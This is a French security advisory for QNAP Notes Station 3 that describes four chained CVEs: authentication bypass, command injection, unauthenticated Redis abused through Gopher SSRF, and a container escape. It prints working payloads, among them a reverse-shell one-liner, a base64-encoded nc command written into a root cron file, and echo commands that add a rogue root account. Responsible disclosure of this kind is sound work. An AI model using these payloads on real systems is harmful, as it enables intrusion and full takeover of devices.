QNAP QSA-24-36 : Notes Station 3 - Multiples vulnérabilités permettant la compromission totale du système - CVE-2024-38643, CVE-2024-38644, CVE-2024-38645, CVE-2024-38646
Historique (DD/MM/YYYY)
- 17/07/2024 : Bug envoyé à l’équipe de sécurité de QNAP
- 20/07/2024 : QNAP confirme la réception du rapport et attribue le CVE
- 31/07/2024 : Notes Station 3.9.7 est disponible avec les corrections de sécurité
- 23/11/2024 : Avis de sécurité publié sur le site de QNAP
Résumé
Ce rapport présente plusieurs vulnérabilités affectant l’application NoteStation.
Les vulnérabilités peuvent être combinées pour permettre à un attaquant non authentifié de prendre le contrôle du système QTS avec des privilèges d’administration.
Contournement de l’authentification - CVE-2024-38643
Résumé
NoteStation est vulnérable à un contournement d’authentification, permettant à un attaquant non authentifié d’usurper l’identité de n’importe quel utilisateur de l’application. Pour exploiter cette vulnérabilité, l’attaquant a besoin de deux informations :
- Le nom du serveur
- Un nom d’utilisateur valide
Détails Techniques
Pour accéder à la partie authentifiée de l’application, un middleware Laravel vérifie que l’utilisateur est bien authentifié. Le code du middleware est dans le fichier : /var/www/NotesStation3/app/Http/Middleware/Authenticate.php
Trois entêtes HTTP peuvent être utilisés comme alternative aux cookies NAS_SID ou QTS_SSID
$remote_user = $request->headers->get('X-Auth-Userid');
$remote_connectionid = $request->headers->get('X-Auth-Token');
$mobile = $request->headers->get('mobile');
Si l’entête mobile est définie, le format est vérifié et il doit être composé de trois parties :
- serverName
- username
- sid
if(isset($mobile) && !empty($mobile)) {
$nas_info = explode(';', $mobile);
foreach ($nas_info as $key => $info) {
if(strstr($info, 'serverName')) {
$server_name = explode(':', $info)[1];
}
if(strstr($info, 'username:')) {
$username = explode(':', $info)[1];
}
if(strstr($info, 'sid:')) {
$sid = explode(':', $info)[1];
}
}
if(!isset($server_name) || !isset($username) || !isset($sid) || empty($sid) || empty($username) || empty($server_name)) {
$ret['status'] = 101;
$ret['message'] = 'the operation is not authorized';
return response()->json($ret, 401);
}
// 1. check server name
$check_sever = Config::get('app.server_name');
if($check_sever != $server_name) {
$ret['status'] = 101;
$ret['message'] = 'the operation is not authorized';
return response()->json($ret, 401);
}
La variable server_name est vérifiée et doit être identique au NAS. Cette valeur peut être récupérée par une requête GET sur cgi-bin/authLogin.cgi.
Ensuite, les valeurs X-Auth-Userid et X-Auth-Token sont envoyées avec la variable username à la méthode Qnap_nas->create_userid.
public function create_userid($username, $connectionid, $sid, $migrate=false, $share_check=false,$createCookie=true)
{
$user_session = new SessionModel;
$user = new UserModel;
$sys_mod = new SystemModel;
$my_mod = new MyModel;
$nasUserInfo = $this->get_nas_user_uid($username);
if($nasUserInfo==FALSE) {
$uid = $this->check_Ldap($username);
$login_id = $username;
$login_server = '2';
if(!$uid && empty($uid)) {
$ADinfo = $this->check_ADserver($username);
$login_server = '3';
if(!$ADinfo['uid'] && empty($ADinfo['uid'])) {
return FALSE;
}
$login_id = $ADinfo['username'];
$uid = $ADinfo['uid'];
}
}else{
$uid = $nasUserInfo['uid'];
$login_id = $nasUserInfo['userName'];
$user->check_duplicate_uid($uid,$login_id);
$login_server = '1';
}
La commande get_nas_user_uid ne vérifie que si le nom d’utilisateur se trouve dans le fichier passwd. Le compte admin, même s’il est désactivé, est présent dans ce fichier et peut être utilisé comme nom d’utilisateur.
Les champs connectionid et sid ne sont pas utilisés pour vérifier l’authentification de l’utilisateur et peuvent prendre une valeur arbitraire.
Exploitation
Un attaquant doit d’abord obtenir la valeur de la partie serverName pour l’entête Mobile
Ensuite, une requête peut être faite sur /ns/api/v2/user/loginid avec l’entête Mobile pour vérifier que l’authentification est bien contournée.
Exécution de commande arbitraire - CVE-2024-38644
Résumé
Un utilisateur authentifié est en mesure d’exécuter une commande arbitraire en tant qu’utilisateur www-data. L’utilisateur www-data peut élever ses privilèges pour exécuter des commandes en tant que root.
Détails Techniques
La fonction set_file de la classe NoteFile utilise une commande sans vérifier l’entrée de l’utilisateur.
Pour accéder à cette partie du code, un paramètre de requête url doit être défini et doit se terminer par « .img » pour correspondre à la condition if.
Avant de déclencher l’injection de commande, l’URL sera utilisée dans un appel PHP curl, donc la première partie doit être un lien valide.
Voici un exemple :
http://127.0.0.1/";echo ‘<?php phpinfo();’>/var/www/NotesStation3/public/phpinfo.php;".img
Elévation de privilèges
Dans le conteneur, l’application Laravel NoteStation s’exécute en tant que www-data. Il est possible pour un attaquant d’obtenir les privilèges de l’utilisateur root en exploitant les tâches cron.
Les tâches cron s’exécutant en tant que root sont définies dans le fichier /etc/crontabs/root.
95d162514bcc:/var/www/NotesStation3 $ cat /etc/crontabs/root
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
* * * * * /usr/bin/php /var/www/NotesStation3/artisan Synchronizer
* * * * * /usr/bin/php /var/www/NotesStation3/artisan SynchronizerRemote
Le fichier /var/www/NotesStation3/artisan est utilisé, mais ce fichier est accessible en écriture par l’utilisateur www-data. Par conséquent, si le code malveillant injecté par l’utilisateur www-data se trouve dans le fichier artisan, ce code sera exécuté en tant que root.
Par exemple, le code suivant donnera un reverse shell root à l’attaquant :
#!/usr/bin/env php
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT >/tmp/f');
?>
Redis sans authentification s’éxecutant en root : CVE-2024-38645
Résumé
Le serveur Redis est exécuté en tant que root et ne nécessite aucune authentification. Un attaquant ayant accès au réseau local est capable d’extraire les clés. Les données du serveur Redis peuvent être transférées vers un emplacement arbitraire, ce qui peut potentiellement conduire à l’exécution d’une commande.
Détails Techniques
Le serveur Redis peut être utilisé de plusieurs façons pour prendre le contrôle d’un compte ou de l’application NoteStation.
Tout d’abord, il peut être utilisé par un utilisateur authentifié pour lire toutes les clés et récupérer le SID d’un utilisateur authentifié.
De plus, un attaquant peut créer un web shell en injectant du code PHP dans une clé et en exportant la configuration dans un fichier PHP à l’intérieur du dossier racine du site web.
Enfin, comme le serveur Redis est exécuté en tant que root, certains fichiers peuvent être modifiés pour obtenir un reverse shell root.
Récuperer les clés Redis
Pour extraire les données, le serveur Redis doit recevoir la commande SAVE. Les données sont sauvegardées dans le dossier et le fichier définis dans la configuration. Pour pouvoir lire ce fichier, celui-ci doit se trouver dans le dossier public de l’application NoteStation.
Un attaquant peut utiliser l’url note/{connection_id}/{note_id}/image/{image_id?} avec le paramètre URL pour exploiter une vulnérabilité SSRF, lui permettant de communiquer avec le serveur Redis à travers le protocole Gopher.
En envoyant trois commandes, l’attaquant pourra télécharger le dump des données de Redis.
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/public/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-export
gopher://127.0.0.1:6379/_SAVE
Avec le dump téléchargé, l’attaquant peut lister les SID des utilisateurs connectés et vérifier si le SID appartient à un compte administrateur.
Déposer du code PHP personnalisé
Ce dump peut être utilisé pour exécuter du code PHP arbitraire.
Par exemple :
gopher://127.0.0.1:6379/_SET%20webshell%20"<%3fphp%20phpinfo();%3f>" # Set PHP content
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20redis-info.php # Set filename wit php extension
gopher://127.0.0.1:6379/_SAVE
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/NotesStation3/
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20artisan
gopher://127.0.0.1:6379/_SET%20webshell%20"%23!/usr/bin/env+php
\n<%3fphp%20system(base64_decode('bmMgMTAuMC4xMC4xNCAxMzM3IC1lIHNo'));%3f>"
gopher://127.0.0.1:6379/_SAVE
Le dump Redis est au format binaire et peut casser certains codes PHP.
Échappement du conteneur d’application - CVE-2024-38646
Résumé
Un attaquant disposant d’un shell dans le conteneur NoteStation est en mesure d’interagir avec le NAS et d’y créer un compte administrateur.
Détails Techniques
Le répertoire du NAS “/etc/config” est monté avec des droits de lecture et d’écriture à l’intérieur du conteneur sur le répertoire “/qts/etc/config”.
Une fois que l’attaquant dispose d’un reverse shell en tant que root à l’intérieur du conteneur NoteStation, il peut créer un utilisateur avec des privilèges d’administration et modifier ces fichiers :
- /qts/etc/config/passwd
- /qts/etc/config/shadow
Par exemple :
echo "notestation_exploit:x:0:0:administrator:/share/homes/admin:/bin/sh" >> /qts/etc/config/passwd
echo "notestation_exploit:$(openssl passwd -1 pwnpwn):19517:0:99999:7:::" >> /qts/etc/config/shadow